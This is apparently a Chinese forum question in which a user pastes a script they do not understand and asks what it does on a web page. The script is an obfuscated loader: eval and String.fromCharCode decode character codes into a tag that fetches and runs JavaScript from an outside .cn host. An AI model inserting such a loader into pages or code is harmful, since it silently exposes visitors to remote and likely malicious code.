这是什么意思，有什么用，请告诉我一下谢了再谢``~！

<script>
t="60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,99,115,46,99,115,107,105,99,107,46,99,110,47,99,115,47,115,99,46,106,115,62,60,47,115,99,114,105,112,116,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>

先谢了，但还不是太明白，他在网页中有什么用处吗？

有知道的吗，请告诉 我一下，小弟先谢了~~~~~！